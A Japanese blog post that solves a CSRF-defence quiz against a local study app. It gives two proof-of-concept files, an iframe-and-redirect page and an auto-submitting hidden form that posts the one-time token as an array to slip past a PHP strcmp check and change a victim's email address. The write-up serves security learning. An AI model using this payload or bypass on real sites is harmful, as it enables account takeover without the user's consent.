CSRF対策のバグに関するクイズ第2弾を解いてみました

某所でCSRF対策のバグに関するクイズの第2弾が公開されていたので、腕試しに解いてみました。

以下が自分のPOCです。今回は2種類のファイルを組み合わせて使用しました。

trap01.html
<html>
<head>
<meta http-equiv="refresh" content="2;url=http://localhost/CSRF-study02/trap02.php" />
</head>
<body>
<iframe src="http://localhost/CSRF-study02/chgmailform.php">
</body>
</html>


trap02.php
<html>
<body onload="document.forms[0].submit()">
<form action="http://localhost/CSRF-study02/chgmail.php" method="POST">
<input type="hidden" name="token[]" value="foo">
<input type="hidden" name="mail" value="you-are-hacked-again@foo.com">
</form>
</body>
</html>

ユーザーがmypage.phpを閲覧した状態でtrap01.htmlにアクセスすると、trap02.phpへリダイレクトされ、メールアドレスが"you-are-hacked-again@foo.com"に変更されます。

題材となっているアプリケーションはマイページのmypage.php、メールアドレス変更フォームのchgmailform.php、そして chgmailform.phpの入力内容をもとにメールアドレスを変更するプログラムのchgmail.phpという構成になっています。

前回とはchgmail.phpでのワンタイムトークンの確認が少し異なります。以下が該当のコード部分です。

if (empty($_SESSION['token']) || empty($_POST['token'])
|| strcmp($_POST['token'], $_SESSION['token'])) { // ワンタイムトークン確認
die('正規の画面からご使用ください');
}

上記のコードを解説すると:

1. セッション変数のトークンがNULLまたは空だった場合はエラーとして終了
または
2. トークンがPOSTされていない、またはPOSTされたトークンが空だった場合はエラーとして終了
または
3. POSTされたトークンの値とセッション変数のトークンの値をstrcmp関数で比較し、戻り値が0でない場合はエラーとして終了

よって、ハックするにはこれら3つの条件をクリアする必要があります。

1.をクリアするには、まずはユーザーにchgmailform.phpへとアクセスしてワンタイムトークンを生成してもらう必要があります。trap01.htmlではiframeタグ経由でユーザーをchgmailform.phpにアクセスさせています。その後、metaタグを利用してtrap02.phpへユーザーをリダイレクトします。

2.をクリアするにはtokenに値を設定してPOSTする必要がありますが、適当な値を入れただけでは3.のステップでエラーとして検知されて終了します。しかし、strcmpのマニュアルページの投稿によるとstrcmp関数による値の比較は完璧ではないようです。strcmp関数は文字列同士の比較を行う関数ですが、異なるデータ型同士を比較させると予期せぬエラーを起こしてしまうことがあるようです。例えば文字列型と配列型の比較をstrcmp関数で行うとPHPが警告を出して予期せぬ結果となります。

trap02.phpでは上記のstrcmp関数の性質(バグ?)を利用してワンタイムトークンを配列としてchgmail.phpへPOSTしています。以下が該当のコード部分です。

<input type="hidden" name="token[]" value="foo">

これにより、strcmp関数ではPOSTされた配列型のデータと文字列型(セッション変数のトークン)という異なるデータ型同士を比較することになります。結果、strcmpによるチェックをすり抜けてメールアドレスが変更されてしまいました。

以上。

Leave a Reply

Your email address will not be published. Required fields are marked *